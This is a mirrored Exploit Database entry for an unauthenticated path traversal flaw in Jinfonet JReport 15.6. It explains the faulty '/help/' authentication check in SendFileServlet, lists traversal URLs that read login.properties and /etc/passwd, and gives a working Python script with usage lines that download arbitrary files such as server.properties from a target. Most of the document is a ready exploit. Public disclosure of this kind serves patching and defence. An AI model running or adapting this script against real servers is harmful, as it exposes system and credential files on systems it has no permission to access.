Jinfornet Jreport 15.6 – Unauthenticated Directory Traversal

• Exploit Database
• 16 阅读

• 作者： hongphukt
  日期： 2020-03-27
• 类别：

  • webapps
  平台：

  • java
• 来源：https://www.exploit-db.com/exploits/48260/

• # Exploit Title: Jinfornet Jreport 15.6 - Unauthenticated Directory Traversal
  # Date: 2020-03-26
  # Exploit Author: hongphukt
  # Vendor Homepage: https://www.jinfonet.com/
  # Software Link: https://www.jinfonet.com/product/download-jreport/
  # Version: JReport 15.6
  # Tested on: Linux, Windows 
  
  Jreport Help function have a path traversal vulnerability in the SendFileServlet allows remote unauthenticated users to view any files on the Operating System with Application services user permission. This vulnerability affects Windows and Unix operating systems.
  Technical Details
  
  Jreport before loggedin have help function with url:
  
  https://serverip/jreport/sendfile/help/userguide/server/index.htm
  
  senfile url processing by jet.server.servlets.SendFileServlet class.
  
  <servlet>
  
  <servlet-name>sendfile</servlet-name>
  
  <servlet-class>jet.server.servlets.SendFileServlet</servlet-class>
  
  </servlet>
  
  <servlet-mapping>
  
  <servlet-name>sendfile</servlet-name>
  
  <url-pattern>/sendfile/*</url-pattern>
  
  </servlet-mapping>
  
   
  
  In jet.server.servlets.SendFileServlet class, request will go on when it’s authenticated or start url by ‘/help/’
  
  if ((!isAuthentic) &&
  
  (!path.startsWith("/help/")))
  
  {
  
  httpRptServer.getHttpUserSessionManager().sendUnauthorizedResponse(req, res, this.D, httpRptServer.getResourceManager().getRealm());
  
  return;
  
  }
  
   
  
  So the function reading file without any path validation
  
  Exploit:
  
  Get login properties, /etc/password file by get url:
  
   http://jreport.test/jreport/sendfile/help/../bin/login.properties
  
   http://jreport.test/jreport/sendfile/help/../../../../../../../../../../../../../../etc/passwd
  
  # Exploit Code
  
  import requests
  import argparse
  
  def exploit(url, file):
  
  session = requests.Session()
  rawBody = "\r\n"
  response = session.get("{}/jreport/sendfile/help/{}".format(url,file), data=rawBody)
  
  if response.status_code == 404:
  print("The '{}' file was not found.".format(file))	
  else:
  print("-" *22)
  print(response.content)
  print("-" *22)
  
  if __name__ == "__main__":
  
  parser = argparse.ArgumentParser(description='Jreport Path traversal & Arbitrary File Download')
  parser.add_argument('-u', action="store", dest="url", required=True, help='Target URL')
  parser.add_argument('-f', action="store", dest="file", required=True, help='The file to download')
  args = parser.parse_args()
  
  exploit(args.url, args.file)
  
  # python jreport_fileread.py -u http://jreport.address -f "../../../../../../../../../../../../../../etc/passwd/"
  # python jreport_fileread.py -u http://jreport.address -f "../bin/login.properties"
  # python jreport_fileread.py -u http://jreport.address -f "../bin/server.properties"